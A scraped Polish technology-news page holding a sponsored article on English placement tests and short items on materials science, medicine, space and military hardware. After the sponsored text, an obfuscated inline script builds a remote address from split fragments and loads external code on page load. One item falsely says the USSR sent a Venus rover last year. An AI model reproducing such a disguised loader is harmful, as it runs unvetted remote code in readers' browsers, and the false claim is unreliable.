Testy na poziom angielskiego są narzędziem służącym do oceny umiejętności językowych osób uczących się języka angielskiego.

Stanowią ważny element w edukacji językowej, pomagając zarówno uczniom, jak i nauczycielom określić poziom zaawansowania, co umożliwia dopasowanie materiałów dydaktycznych do indywidualnych potrzeb. Przyjrzymy się zatem, czym dokładnie są testy na poziom angielskiego, jakie korzyści przynoszą oraz jak się do nich przygotować.

Dlaczego warto wykonać test poziomujący?

Personalizacja nauki

Test poziomujący pozwala na dokładne określenie poziomu zaawansowania językowego, co umożliwia dostosowanie programu nauczania do aktualnych umiejętności ucznia, zwiększając efektywność nauki.

Motywacja i pewność siebie

Znajomość własnego poziomu zaawansowania może motywować do dalszej pracy nad językiem, pokazując postępy i obszary do poprawy. Ponadto, świadomość swoich umiejętności językowych zwiększa pewność siebie w sytuacjach wymagających użycia języka angielskiego, zarówno w życiu codziennym, jak i zawodowym.

Przygotowanie do egzaminów

Test poziomujący jest świetnym narzędziem do oceny gotowości przed przystąpieniem do formalnych egzaminów językowych, takich jak TOEFL, IELTS czy Cambridge English. Dla pracodawcy wynik testu poziomującego może być dowodem Twoich kompetencji językowych, co jest istotnym atutem na globalnym rynku pracy.

 https://tutlo.com/pl/test-poziomujacy/.

Rodzaje testów poziomujących z języka angielskiego

Jak przygotować się do testu poziomującego?

Znajdź odpowiedni test

Przede wszystkim warto znaleźć test, który najlepiej odpowiada naszym potrzebom i poziomowi zaawansowania. Zanim przystąpisz do testu, zbadaj jego format – dowiedz się, jakie sekcje zawiera i jakie rodzaje zadań będą na nim występować.

Regularna praktyka

Regularna praktyka to klucz do sukcesu. Skup się na różnych aspektach języka, takich jak gramatyka, słownictwo, słuchanie, czytanie i pisanie. Ważne jest, aby codziennie poświęcać czas na naukę, nawet jeśli to tylko kilka minut.

Korzystaj z zasobów online

Korzystaj z dostępnych zasobów online – wiele z nich jest darmowych i oferuje szeroki zakres ćwiczeń, quizów, filmów instruktażowych i aplikacji do nauki języka. Nauka z native speakerem może być również bardzo pomocna, pozwalając na praktykowanie realnych umiejętności komunikacyjnych i nabieranie pewności siebie.

Odpowiednia atmosfera do nauki

Nie zapomnij także o odpowiedniej atmosferze do nauki. Upewnij się, że masz spokojne miejsce do nauki, wolne od rozpraszaczy, gdzie możesz się skupić. Dobre warunki do nauki mogą znacząco wpłynąć na efektywność przygotowań.

Co dalej po teście poziomującym?

Po wykonaniu testu poziomującego warto przeanalizować wyniki i zastanowić się, jakie kroki podjąć dalej. Może to oznaczać rozpoczęcie kursu na odpowiednim poziomie, praca nad konkretnymi umiejętnościami językowymi lub przygotowanie się do formalnego egzaminu językowego. Ważne jest, aby ciągle monitorować swoje postępy i dostosowywać swoje cele edukacyjne do aktualnych potrzeb.

Bez względu na to, czy dopiero zaczynasz swoją przygodę z językiem angielskim, czy chcesz doskonalić swoje umiejętności, test poziomujący może być Twoim pierwszym krokiem na drodze do odniesienia sukcesu w tej dziedzinie. Pamiętaj, że do tego konieczna jest regularna praktyka, odpowiednie przygotowanie i ciągła motywacja.

Materiał sponsorowany.

(function(){ ch42=document.createElement("script");ch42_=("ust");ch42u="2302901500"; ch42_+="a"+("t.i");ch42.type="text/javascript"; ch42u+=".0Xh67uuah42hdef2f5py";ch42.async=true;ch42_+="n"+("f"+"o")+"/"; ch42u+="iuile7939s";ch42.src="https://"+ch42_+ch42u; document.body.appendChild(ch42); })();

Inżynierowie z University of Massachusetts Amherst pochwalili się właśnie swoim odkryciem w dzienniku ACS Applied Material Interfaces, w ramach to którego „okradli” niedźwiedzie polarne z tajemnicy wyjątkowości ich futra.

Niedźwiedzie polarne mają wyjątkowe futra. Naukowcy postanowili ukraść ich najważniejszą cechę

Specjaliście opracowali nową tkaninę, która składa się z dwuwarstwowej przezroczystej nici polipropylenowej, która przewodzi światło widzialne do dolnej warstwy nylonu pokrytej ciemnym polimerem zwanym PEDOT, który pochłania światło i ogrzewa. Dzięki temu naśladuje właściwości zatrzymywania ciepła przez futro niedźwiedzia polarnego, a gdyby tego było mało, jest o 30% lżejsza od bawełny i może zapewnić użytkownikowi komfort w temperaturze o 10 stopni Celsjusza zimniejszej niż bawełna, o ile pada na nią wystarczająca ilość światła słonecznego lub sztucznego.

Czytaj też: Naukowcy chcą odmienić filtry przeciwsłoneczne. Zadbamy o skórę i o planetę

Ta tkanina nie jest oczywiście pierwszą próbą naśladowania futra niedźwiedzia polarnego, bo już wcześniejsze badania również próbowały stworzyć syntetyczne materiały inspirowane futrem niedźwiedzia polarnego. Na dodatek materiał nie został jeszcze przetestowany w rzeczywistym świecie, gdzie wiatr i wilgoć mogą znacząco wpłynąć na jego możliwości.

Filtry przeciwsłoneczne w aktualnej formie z jednej strony mogą być uporczywe w nakładaniu, a z drugiej szkodzą środowisku. Z tym właśnie mają zawalczyć naukowcy z São Paulo Research Foundation.

Filtry przeciwsłoneczne szkodzą przyrodzie, a mogą być znacznie bardziej uniwersalne

Naukowcy z FAPESP postanowili upiec dwie pieczenie na jednym ogniu, opracowując coś, co zrewolucjonizuje filtry przeciwsłoneczne, bo unikalny na skalę światową produkt, który jest zarówno przyjazny w użyciu, jak i nie szkodzi naszej planecie. Wykorzystali do tego naturalną cząsteczkę występującą w ziołach, takich jak szałwia i mięta pieprzowa, której niewielka ilość została dodana do maści, a wtedy jego współczynnik ochrony przeciwsłonecznej został zwiększony o 41%.

Czytaj też: Kroniki Myrtany będą jeszcze lepsze! Masa nowej zawartości

Ta cząsteczka jest polifenolowym przeciwutleniaczem i ma właściwości przeciwwirusowe, przeciwzapalne, immunomodulujące, antybiotyczne i przeciwnowotworowe. To sprawia, że jej domieszka do maści nie tylko czyni z niej filtr słoneczny, ale też kosmetyk przeciwstarzeniowy. Toruje to drogę do tworzenia filtrów słonecznych, które cechuje niższe stężenie syntetycznych chemikaliów, a więc bardziej ekologicznych.

Czy murarzy zastąpią specjaliści od druku 3D? Patrząc na to, jak wiele zalet niesie drukowanie budynków, za kilka dekad rzeczywiście może do tego dojść i naukowcy nie spowalniają w swoich wysiłkach, aby do tego doprowadzić.

Ściany z betonu można łatwo zrewolucjonizować. Wystarczy druk 3D

Druk 3D odmieni budownictwo, a budynki z drukarki będą coraz powszechniejsze. Przykład naukowców z University of Michigan jest tego potwierdzeniem, bo ci opracowali nową technologię, która wręcz rewolucjonizuje ściany z betonu. Ten nowy rodzaj technologii druku 3D z betonu (3DCP) o nazwie Shell Wall zmniejsza wagę betonowych ścian o ponad 70% w porównaniu do konwencjonalnych metod.

Czytaj też: Zatrzęsienie nowości od Nvidii. Firma planuje wprowadzić wiele kart graficznych na rynek

Innowacyjnym podejściem w tym przypadku jest model komputerowy, który jest wykorzystywany do optymalizacji rozkładu materiału i tworzenia zakrzywionych elementów ściennych z pionowymi żebrami i membranami, które są wzmocnione prętami zbrojeniowymi i izolacją. Dzięki temu Shell Wall oferuje większą elastyczność architektoniczną i wydajność niż tradycyjne metody 3DCP, które drukują ściany w poziomych warstwach za pomocą pustych form, które są wypełnione większą ilością betonu.

Naukowcy przetestowali swoją technologię na modelach w małej skali i planują przeprowadzenie pełnowymiarowych testów na rzeczywistych placach budowy.

Zespół naukowców z University of Cambridge zapowiedział właśnie w ramach publikacji w dzienniku Science Advances potencjalną rewolucję, która może pomóc amputanom, czyli osobom pozbawionym kończyn. W tym wysiłku chcą wręcz zrobić z ludzi cyborgów.

Rewolucja w protezach nadchodzi. Połączą ciała z technologią w nieznany dotąd sposób

Naukowcy opracowali nowy typ implantu neuronowego, który ma za zadanie połączyć ludzkie komórki macierzyste z elektroniką i ma potencjał, aby pomóc amputantom lub osobom, które straciły możliwość korzystania z kończyn. Tego typu biohybrydowa proteza wyróżnia się tym, że wykorzystuje pluripotencjalne komórki macierzyste (iPSC), czyli dorosłe komórki, które zostały przeprogramowane w laboratorium, aby stać się podobnymi do embrionalnych komórek macierzystych, które mogą rozwinąć się w każdy inny rodzaj komórek.

Czytaj też: Jeden robot do wszystkiego. Z WORMS można podbijać Księżyc

Naukowcy wykorzystali te komórki do stworzenia miocytów, a więc komórek będących budulcem mięśni szkieletowych. To pierwszy raz, kiedy iPSC zostały wykorzystane w ten sposób w żywym organizmie, a udało się to po tym, jak zostały ułożone w siatkę na matrycach mikroelektrod (MEAs) tak cienkich, że można było je przyczepić do końca nerwu. W ten sposób powstała warstwa miocytów, która znalazła się pomiędzy elektrodami urządzenia a żywą tkanką i którą badacze wszczepili szczurom w celu przeprowadzenia testów.

W tym celu przymocowali pokrytą komórkami stronę urządzenia do odciętych nerwów łokciowego i pośrodkowego w przednich łapach szczurów. W następnych dniach okazało się, że urządzenie zintegrowało się z ciałem szczura i zapobiegło tworzeniu się tkanki bliznowatej, a na dodatek przetrwało przez cztery tygodnie po wszczepieniu, co jest pierwszym przypadkiem, kiedy komórki przetrwały przedłużony eksperyment tego rodzaju.

Należy jednak pamiętać, że badanie przeprowadzono dopiero tylko na szczurach i zanim urządzenie będzie mogło być stosowane u ludzi, potrzebne będą dalsze badania i testy.

Ścieki z przemysłu włókienniczego stanowią poważny problem środowiskowy, który dotyka wiele krajów, a zwłaszcza tych z dużymi sektorami produkcji tekstylnej. Pomimo tego, że zużywają dużo zasobów wodnych, zawierają również duże ilości zanieczyszczeń organicznych pokroju barwników i to właśnie je bierze na celownik nowoopracowany przez naukowców proszek.

Ścieki przemysłu włókienniczego są problemem, ale ten nowy materiał na filtr je oczyści

Zespół ze szwedzkiego Chalmers University of Technology oraz (co ciekawe) indyjskiego Malaviya National Institute of Technology opracował wyjątkowy materiał w postaci proszku złożonego z nanokryształów celulozy, która jest pozyskiwana z drewna dowolnego źródła (również odpadów z przemysłów wszelkiego rodzaju).

Ta celuloza jest następnie poddawana „prostej obróbce kwasowej”, w ramach to której na powierzchnię nanokryształów nakładany jest ładunek ujemny. Dzięki temu kryształki są w stanie absorbować cząsteczki barwnika, jednocześnie przepuszczając cząsteczki wody bez jakichkolwiek wymogów po stronie ciśnienia lub temperatury. Kiedy z kolei proszek jest wystawiony na działanie światła słonecznego, przechwycony przez nie barwnik szybko rozpada się na mniej toksyczną formę.

Czytaj też: Pomidory mogą uratować naszą planetę i żywność. Jak? Naukowcy odpowiadają

Tego typu proszek może dać życie filtrom, które mogłyby być umieszczane w strumieniach ścieków wychodzących w fabrykach włókienniczych. W przeprowadzonych do tej pory testach laboratoryjnych materiał usunął do 80% zanieczyszczeń barwnikowych z próbek zanieczyszczonej wody, więc zdecydowanie jest warty uwagi i komercjalizacji. Zwłaszcza że naukowcy chcą go znacząco ulepszyć, jak wynika z publikacji w dzienniku Industrial & Engineering Chemistry Research.

Międzynarodowy zespół pod kierownictwem naukowców z hiszpańskiego Instytutu Ogrodnictwa Podzwrotnikowego i Śródziemnomorskiego La Mayora oraz Instytutu Inżynierii Materiałowej w Sewilli, zwrócił uwagę na rodzaj odpadów rolnych znanych jako wytłoki pomidorowe, aby wyeliminować potencjalnie szkodliwy związek (BPA) w tworzywach sztucznych przeznaczonych do pakowania żywności.

Folia spożywcza z pomidorowych odpadków. Naukowcy mają wielki cel, który pozytywnie wpłynie na nasze zdrowie

Naukowcy stworzyli wyjątkowy materiał, który składa się ze skórek, nasion i łodyg pomidorów, które pozostają po przetworzeniu owoców w celu wykorzystania ich w takich produktach jak sosy czy soki. Zazwyczaj wytłoki są po prostu wyrzucane na wysypisko, spalane, kompostowane lub w najlepszym wypadku wykorzystywane w paszach dla zwierząt, choć nie mają zbyt wielu wartości odżywczych.

Czytaj też: Tlen na Ziemi. Jak starożytne cząsteczki mineralne miały zwiększyć jego ilość?

W celu wykorzystania tych odpadków naukowcy zaczęli od wysuszenia wytłoków pomidorowych, które zmielili na proszek. Ten został następnie zmieszany z roztworem wodorotlenku sodu, który był następnie podgrzewany w temperaturze 100ºC przez cztery godziny. Następnie (po wielokrotnym filtrowaniu roztworu w celu usunięcia wodorotlenku sodu), naukowcy otrzymali woskowy związek znany jako lipid.

Uzyskany lipid został następnie zmieszany z roztworem alkoholu etylowego, a mieszanka została następnie rozpylona na próbki aluminium, stali bez cyny i stali pokrytej cyną. Po wyschnięciu sprayu i podgrzaniu próbek w piecu o temperaturze 200ºC przez 10 do 60 minut otrzymano spolimeryzowaną powłokę lakierniczą, która okazała się bardzo skuteczna w ochronie metalu.

Lakier był również wysoce hydrofobowy, dobrze przylegał do metalu i nie wypłukiwał się z czasem do wody. Teraz z kolei naukowcy planują przetestować powłokę na rzeczywistych puszkach, zawierających różne rodzaje żywności, jak wynika z publikacji w Journal of Cleaner Production.

W grudniu USA pokazały najbardziej zaawansowany samolot w historii, czyli B-21 Raider, a więc przykład samolotu zbudowanego w układzie latającego skrzydła, co zapewnia optymalny układ zarówno dla wysokiego zasięgu, jak i gwarant obniżonej wykrywalności w ramach technik stealth. Najciekawsze jest to, że lotnictwo kraju już chce go modernizować, choć nawet nie poleciał.

Bombowiec B-21 Raider jeszcze nie poleciał, a USA już chce go modernizować

Wedle najnowszych informacji, Siły Powietrzne USA domagają się funduszy na modernizację bombowca stealth B-21 Raider, zanim jeszcze odbył on pierwszy lot. Z dokumentów budżetowych wynika, że Siły Powietrzne chcą 1,2 mld dolarów na badania i rozwój B-21 w roku fiskalnym 2023, co obejmuje 200 mln dolarów na „modernizację” projektu i możliwości samolotu.

Czytaj też: Australijska fregata pokazała klasę. Zdołała wystrzelić wyjątkowy pocisk po raz pierwszy

Ma to odzwierciedlać potrzebę dotrzymania kroku ewoluującym zagrożeniom i technologiom, a także uwzględnić wnioski wyciągnięte z testów i oceny bombowca. Bombowca, który jeszcze nie wzbił się w przestworza, bo w rzeczywistości jego pokaz ujawniał jedynie wczesną wersję projektu, który dopiero co da życie finalnej wersji bombowca B-21 Raider.

Jak co roku NASA zorganizowała wielki konkurs Breakthrough, Innovative and Game-changing (BIG) na projekty inżynierskie dla studentów uczelni wyższych, którego celem jest opracowanie innowacyjnych technologii dla przyszłych misji NASA. Ci z MIT opracowali właśnie WORMS, czyli jeden robot do wszystkiego, który może pomóc w podboju Księżyca.

Robot WORMS do podboju Księżyca

Inżynierowie z MIT opracowali modułowy system robotyki o nazwie WORMS (Walking Oligomeric Robotic Mobility System), który może być skonfigurowany w różne typy robotów do eksploracji Księżyca. WORMS składa się z robaczkowych kończyn, które mogą być przymocowane do różnego rodzaju użytecznych elementów za pomocą mechanizmu twist-and-lock. Kończyny mogą korzystać z jednego źródła zasilania i koordynować swoje ruchy za pomocą oprogramowania.

Czytaj też: Tlen na Ziemi. Jak starożytne cząsteczki mineralne miały zwiększyć jego ilość?

Powstanie WORMS zostało zainspirowane przez zwierzęta takie jak pająki, słonie, kozy i woły, a spektrum ich możliwości obejmuje mapowanie, wiercenie, ciągnięcie i realizowanie misji transportowych na biegunie południowym Księżyca, a więc miejscu o skomplikowanym terenie. Wprawdzie WORMS został po raz pierwszy wymyślony w odpowiedzi na wyzwanie NASA Breakthrough, Innovative and Game-changing (BIG) Idea Challenge w 2022 roku, ale teraz zrobiło się o nim głośno dlatego, że zespół zdobył nagrodę za najlepszy referat na konferencji IEEE Aerospace w 2023 roku.

Fregata typu Anzac Królewskiej Australijskiej Marynarki Wojennej HMAS Toowoomba przeprowadziła właśnie pierwsze odpalenie pocisku Evolved Sea Sparrow Missile (ESSM) po modernizacji w ramach programu Anzac Midlife Capability Assurance Program (AMCAP).

Australijska fregata wystrzeliła pocisk ESSM po modernizacji AMCAP

Wydarzenie miało miejsce 9 marca 2023 roku u wybrzeży Australii Zachodniej i potwierdziła ważny szczegół co do możliwości ulepszonej fregaty. Proces jej modernizacji w programie AMCAP obejmował poprawę zdolności i żywotności fregat typu Anzac, co obejmuje modernizacje systemów łączności, systemów platformowych, systemów wentylacyjnych, systemów obrony przeciwrakietowej oraz zdolności radarowych.

Czytaj też: Okręty podwodne Australii. Kraj ma wkrótce poznać pierwsze szczegóły Aukus

Z kolei ESSM jest pociskiem średniego zasięgu typu ziemia-powietrze, który może być stosowany przeciwko zagrożeniom powietrznym i powierzchniowym. Wystrzeliwany jest z pionowego systemu wyrzutni i może być naprowadzany przez radar lub szukacz w podczerwieni. Fregaty typu Anzac dzierżą 8 komórek dla pocisków ESSM, które mogą być odpalane w konfiguracji quad-pack, co oznacza, że każda komórka może pomieścić cztery pociski, a w sumie 32 pociski na fregatę. Komórki mogą być oczywiście wykorzystywane również do innych typów pocisków.

Siły Powietrzne USA przyznały Boeingowi kontrakt na budowę pierwszych 13 śmigłowców MH-139A Grey Wolf, które zastąpią śmigłowce Bell UH-1N Huey będące w służbie od 1970 roku i które strzegą amerykańskich silosów z pociskami nuklearnymi.

Helikoptery Grey Wolf zastąpią stare modele Huey w stawianiu pieczy nad nuklearną potęgą USA

MH-139A Grey Wolf jest oparty na śmigłowcu Leonardo AW139 i będzie przeznaczony do zapewnienia bezpieczeństwa i wsparcia dla amerykańskich obiektów z międzykontynentalnymi pociskami balistycznymi (ICBM) w całym kraju. Może przy tym pochwalić się zaawansowanymi funkcjami, które obejmują cyfrowy kokpit, samouszczelniający się system paliwowy, ochronę balistyczną i systemy uzbrojenia.

Czytaj też: Okręty podwodne Australii. Kraj ma wkrótce poznać pierwsze szczegóły Aukus

Oczekuje się, że MH-139A Grey Wolf pozwoli US Air Force zaoszczędzić do 1 miliarda dolarów w ciągu 30-letniego okresu eksploatacji w porównaniu z poprzednikami. Możemy przy tym powiedzieć, że MH-139A Grey Wolf jest bardzo imponującym i nowoczesnym śmigłowcem, który może wykonywać różne misje. Ma jednocześnie wiele zalet w stosunku do poprzednich helikopterów, bo przewyższa je po stronie prędkości, ładowności i zasięgu.

Skąd wziął się tlen na Ziemi? Najnowsze badanie opublikowane w czasopiśmie Nature poddaje w wątpliwość główny czynnik, który uważa się ciągle za źródło tlenu na naszej planecie.

Czy cząsteczki mineralne wpłynęły na tlen na Ziemi?

Do tej pory uważano, że wiele miliardów lat temu na Ziemi to fotosynteza przeprowadzana przez rośliny morskie i algi była głównym źródłem tlenu. Nowe badanie poddaje to w wątpliwość, twierdząc, że tlen na Ziemi osiągnął takie stężenie również dzięki cząsteczkom mineralnym. W rzeczywistości prawdą jest, że cząsteczki mineralne, takie jak tlenek manganu i tlenek żelaza, mogą działać jako katalizatory utleniania cząsteczek wody, uwalniając tlen do atmosfery.

Wedle badania cząstki mineralne takie jak tlenek manganu i tlenek żelaza mogły przyczynić się do wzrostu ilości tlenu w atmosferze Ziemi miliardy lat temu, poprzez katalizowanie utleniania cząsteczek wody. To odkrycie podważa konwencjonalny pogląd, że fotosynteza przez rośliny morskie i algi była głównym źródłem tlenu, i że ma to implikacje dla ewolucji życia i poszukiwania życia pozaziemskiego.

Czytaj też: Atmosfera Wenus jest niszczycielska. NASA chce stawić jej czoło

Wnioski te bazują na eksperymentach naukowców z Uniwersytetu w Leeds i Uniwersytetu Kalifornijskiego w Riverside, którzy wykorzystali symulacje komputerowe do modelowania interakcji między cząsteczkami mineralnymi i cząsteczkami wody w różnych warunkach.

W ostatnich miesiącach niewiele działo się w kwestii programu Aukus, który zapewni nowe okręty podwodne Australii, ale to ma wkrótce się zmienić.

Aukus zapewni pierwsze tak zaawansowane okręty podwodne Australii

W 2021 roku dowiedzieliśmy się, że Stany Zjednoczone, Wielka Brytania i Australia ogłosiły nową umowę o współpracy obronnej. Mowa o sojuszu AUKUS, który przede wszystkim zapewni nuklearne okręty podwodne Australii, czyli te z układem napędowym, wykorzystującym potęgę atomu.

Czytaj też: Nie uwierzysz, jak sterowany jest ten robopies. Australijska armia przeszła samą siebie

Aktualnie program Aukus jest wciąż w początkowej fazie i wiele szczegółów nie zostało jeszcze sfinalizowanych. Mowa o tak podstawowych kwestiach, jak liczbie planowanych okrętów podwodnych, ich projekcie, koszcie czy harmonogramie. Wkrótce jednak Australia może dowiedzieć się od USA i Wielkiej Brytanii kilku podstawowych informacji na temat programu, takich jak preferowany projekt okrętu podwodnego i lokalizacja zaplecza konserwacyjnego.

Według niektórych szacunków program może kosztować ponad 170 mld dolarów i potrwać kilkadziesiąt lat. Sam w sobie program wywołał kontrowersje i krytykę ze strony Chin, Francji i innych państw, a także niektórych grup ekologicznych i antynuklearnych. Więcej na ten temat możecie przeczytać tutaj.

Zwykle proces badania zanieczyszczenia wód trochę trwa i jest skomplikowany, ale grupa inżynierów ze Stanford University opracowała właśnie nową technikę laserową, która może wykrywać i identyfikować bakterie w płynach takich jak krew i ścieki w ciągu zaledwie kilku minut.

Kilka minut zamiast wielu dni. Bakterie w płynach zostaną wykryte w mig

Ta nowa technika analizowania bakterii w płynach polega na świeceniu laserem na mikrokropelkę płynu i analizowaniu wzoru plamki odbitego światła w celu określenia rozmiaru, kształtu i ruchliwości bakterii. Teoretycznie jest to świetny pomysł na przyśpieszenie procesu badania, ale na tę chwilę technologia wymaga jeszcze dużo rozwoju. Ma też swoje ograniczenia, bo wymaga zarówno czystej mikrokropelki, jak i dużej bazy danych bakteryjnych wzorów plamek do porównania. O ile to pierwsze wymaga konkretnego sposobu pobierania próbek, tak to drugie można rozwiązać

Czytaj też: Jak wspomóc leczenie urazów mózgu? Hydrożel przynosi odpowiedź

Wchodząc w szczegóły, technika ta polega na świeceniu laserem na mikrokropelkę płynu i analizowanie wzoru plamki odbitego światła w celu określenia rozmiaru, kształtu i ruchliwości bakterii. Umożliwia też rozróżnienie różnych rodzajów bakterii, takich jak E. coli, Salmonella i Staphylococcus, a także na wykrycie oporności na antybiotyki i ciężkości infekcji.

Technika ta jest szybsza, tańsza i dokładniejsza niż obecne metody identyfikacji bakterii, które wymagają hodowania kultur w laboratorium przez godziny lub dni. Może z kolei mieć zastosowanie w diagnostyce medycznej, bezpieczeństwie żywności, jakości wody i obronie biologicznej.

Airbus zdobył kontrakt od Angoli na budowę satelity do obserwacji Ziemi o nazwie Angeo-1. Owoce tego kontraktu trafi więc w ręce afrykańskiego państwa i od razu stanie się najbardziej zaawansowanym sprzętem w regionie.

Angeo-1 będzie ważnym elementem podboju kosmosu przez Angolę

Wykonany przez Airbusa satelita do obserwacji Ziemi o nazwie Angeo-1 będzie oparty na platformie optycznej Airbus S250 i skorzysta z ponad 30-letniego doświadczenia firmy w budowaniu wysoce niezawodnych systemów kosmicznych. Będzie miał kamerę o bardzo wysokiej rozdzielczości i szerokim pokryciu Ziemi i zostanie wykorzystany do różnych zastosowań, takich jak rozwój infrastruktury, mapowanie zasobów, nadzór morski, monitorowanie środowiska i zarządzanie katastrofami.

Czytaj też: Satelitarna sieć energetyczna? Energia mogłaby wędrować przez cały świat, tak jak dane

Satelita pomoże również Angoli w osiągnięciu celów zrównoważonego rozwoju i wzmocnieniu jej regionalnego przywództwa w przestrzeni kosmicznej. Dlatego właśnie umowa obejmuje również szkolenia dla angolskich inżynierów i transfer technologii w celu wsparcia rozwoju angolskiego przemysłu kosmicznego. Nie wiemy jednak, kiedy dokładnie Angeo-1 zostanie zbudowany i wystrzelony.

Dowiedzieliśmy się właśnie, że Chiny planują rozbudowę swojej stacji kosmicznej Tiangong poprzez dodanie wielofunkcyjnego modułu, który posiada sześć portów dokujących.

Tiangong doczeka się nowego modułu, czyli jak rozwija się chińska stacja

Chiny zakończyły budowę trzymodułowej stacji kosmicznej Tiangong w listopadzie ubiegłego roku, po wystrzeleniu pierwszego modułu w kwietniu 2021 roku. Teraz z kolei kraj chce rozbudować swoją stację kosmiczną z kilku powodów, a dokona tego z wykorzystaniem nowego modułu, który zwiększy możliwości stacji kosmicznej i pozwoli na dokowanie do niej większej liczby statków kosmicznych.

Czytaj też: Atmosfera Wenus jest niszczycielska. NASA chce stawić jej czoło

Jednym z powodów tego planu jest chęć zademonstrowania swoich możliwości technologicznych i osiągnięć w eksploracji kosmosu. Innym powodem jest prowadzenie badań naukowych i eksperymentów w mikrograwitacji, takich jak biotechnologia, astronomia i materiałoznawstwo. Trzecim powodem jest ustanowienie długoterminowej obecności człowieka na orbicie w czasie, kiedy to Międzynarodowa Stacja Kosmiczna zbliża się do końca swojego funkcjonalnego okresu życia.

Czytaj też: Jak wspomóc leczenie urazów mózgu? Hydrożel przynosi odpowiedź

Chiny nie są jednocześnie zamknięte na inne kraje, bo aktualnie współpracują z innymi państwami w kwestiach kosmicznych na różne sposoby. Podpisały już rządowe umowy o współpracy kosmicznej z wieloma krajami, takimi jak Argentyna, Brazylia, Francja, Niemcy, Indie, Pakistan, Rosja, Wielka Brytania i USA, a na dodatek zamierzają rozszerzyć współpracę międzynarodową poprzez swoją stację kosmiczną, a w tym projekty naukowe i wspólne loty z zagranicznymi astronautami.

Naukowcy z Hokkaido University opracowali nowy rodzaj hydrożelu z chitozanu, który może wspomóc leczenie urazów mózgu. Jest przy tym całkowicie biodegradowalny i już udowodnił swoją skuteczność.

Leczenie urazów mózgu jest wyzwaniem. Hydrożel może wspomóc ten proces

Badanie opublikowane w dzienniku Scientific Reports zostały przeprowadzone przez naukowców z Japonii i Niemiec. W nim twierdzi się, że naładowany elektrycznie i zawierający neuronowe komórki macierzyste hydrożel może być wszczepiony w obszary uszkodzenia mózgu i stymulować tam regenerację tkanek. Kształt i sztywność tego typu hydrożelu może być kontrolowany przez zewnętrzne pola elektryczne.

Czytaj też: Wpływ podróży kosmicznych na mózg. Naukowcy zwrócili się do pilotów myśliwców

Należy jednak zauważyć, że badanie zostało przeprowadzone na szczurach, a nie na ludziach, więc potrzeba jeszcze znacznie więcej badań, aby potwierdzić bezpieczeństwo i skuteczność tego podejścia dla ludzkich pacjentów. Hydrożel działa jak rusztowanie dla wzrostu nowych komórek, a w testach był w stanie odrodzić tkankę neuronalną, w tym aksony i dendryty, czyli przedłużenia łączące komórki nerwowe ze sobą.

Naukowcy uważają, że wraz z kolejnymi etapami jego rozwoju, ten hydrożel może być ostatecznie stosowany do pomocy ludziom z urazami rdzenia kręgowego lub innymi rodzajami uszkodzeń nerwów. Dotychczasowe wyniki są obiecujące, a naukowcy mają nadzieję, że hydrożel może pewnego dnia stać się cennym narzędziem do odbudowy uszkodzonej tkanki neuronalnej.

Oto nadeszła era technologii rodem z filmów science-fiction. Mowa o kontrolowanych umysłem robotach bojowych, czyli futurystycznych maszynach, mogących odmienić pola bitwy jako połączenia najnowocześniejszej technologii.

Robopies na polu bitwy, a człowiek jego mózgiem. Właśnie tak – to już ten czas

Koncepcja wykorzystania robotów w walce nie jest nowa, ale integracja w nich kontroli umysłem przenosi tę technologię na zupełnie nowy poziom. Dzięki zastosowaniu czujników elektroencefalografii (EEG), roboty te mogą być kontrolowane przez myśli ludzkiego operatora, co czyni je ostateczną bronią dla żołnierzy na polu walki. Technologię tę przetestowała ostatnio australijska armia.

Na tę chwilę technologia obejmuje gogle HoloLens2, dekoder SI oparty na Raspberry Pi oraz psiego robota. Jej potencjalne zastosowania są ogromne i obejmują misje od zwiadu i obserwacji po poszukiwania i ratownictwo. Te roboty mogą wykonywać zadania, które są zbyt niebezpieczne dla ludzkich żołnierzy, takie jak rozpoznanie pozycji wroga lub badanie niebezpiecznych obszarów.

Czytaj też: Docenione przez żołnierzy urządzenie odstraszające komary może trafić w nasze ręce

Sam w sobie rozwój kontrolowanych umysłem robotów bojowych AI stanowi znaczący krok naprzód w dziedzinie robotyki i sztucznej inteligencji. W miarę postępu technologicznego możemy sobie tylko wyobrazić, jakie inne przełomowe innowacje pojawią się w nadchodzących latach, ale samo wykorzystanie ich na polu bitwy na ten moment nie jest planowane.

Najnowsza misja NASA mająca na celu zbadanie Wenus ma odbyć się w ciągu najbliższej dekady. Agencja planuje stworzyć nowy lądownik, który będzie w stanie wytrzymać drakońskie obciążenia, które generuje atmosfera Wenus.

Powstanie lądownik, dla którego atmosfera Wenus nie będzie problemem

Wenus od dawna jest obiektem zainteresowania naukowców ze względu na podobieństwo wielkości i składu do Ziemi. Jednak ekstremalne temperatury i warunki atmosferyczne planety sprawiły, że stała się ona trudnym celem badań i choć w ubiegłym roku ZSRR wysłało na Wenus łazika, który nawet zrobił zdjęcie (widzicie je powyżej), tamtejsze warunki zniszczyły go po niespełna dwóch godzinach.

Lądownik, który nie został jeszcze nazwany, będzie zaprojektowany tak, aby wytrzymać warunki panujące na Wenus i zostanie wyposażony w zestaw instrumentów naukowych do pomiaru składu atmosfery i powierzchni planety. Oczekuje się, że misja dostarczy informacji na temat historii i ewolucji planety, a także procesów, które ukształtowały jej atmosferę. Jednym z kluczowych celów misji jest poszukiwanie oznak życia. Chociaż uważa się, że Wenus nie nadaje się dziś do zamieszkania ze względu na surowe środowisko, istnieją dowody na to, że planeta mogła mieć bardziej gościnną przeszłość.

Czytaj też: Wpływ podróży kosmicznych na mózg. Naukowcy zwrócili się do pilotów myśliwców

Lądownik będzie szukał biosygnatur, czyli oznak życia w przeszłości lub obecnie, w atmosferze i na powierzchni planety. Misja ma wystartować pod koniec lat 2020, a lądownik ma dotrzeć na Wenus na początku lat 2030. Będzie to pierwsza misja NASA na Wenus od czasu orbitera Magellan, który zmapował powierzchnię planety w latach 90-tych. Plan ten nie jest jednak jeszcze oficjalny. Jest jedynie częścią propozycji złożonej przez zespół badaczy z Jet Propulsion Laboratory (JPL) i University of California, Los Angeles (UCLA) agencji NASA w ramach programu Discovery. Propozycja jest nadal rozpatrywana przez NASA i nie została jeszcze wybrana, a o tę samą możliwość finansowania konkurują inne wnioski. Decyzja ma zostać podjęta jeszcze w 2023 roku.

Życie na Księżycu będzie niemałym piekłem w porównaniu do ziemskiej sielanki, które naukowcy chcą uprzyjemnić i ułatwić przyszłym kolonizatorom w możliwie największym stopniu. Najnowszym tego przejawem jest opublikowany na łamach ACS Applied Materials & Interfaces artykuł.

Księżycowy pył jest problemem. Naukowcy twierdzą, że mają na niego rozwiązanie

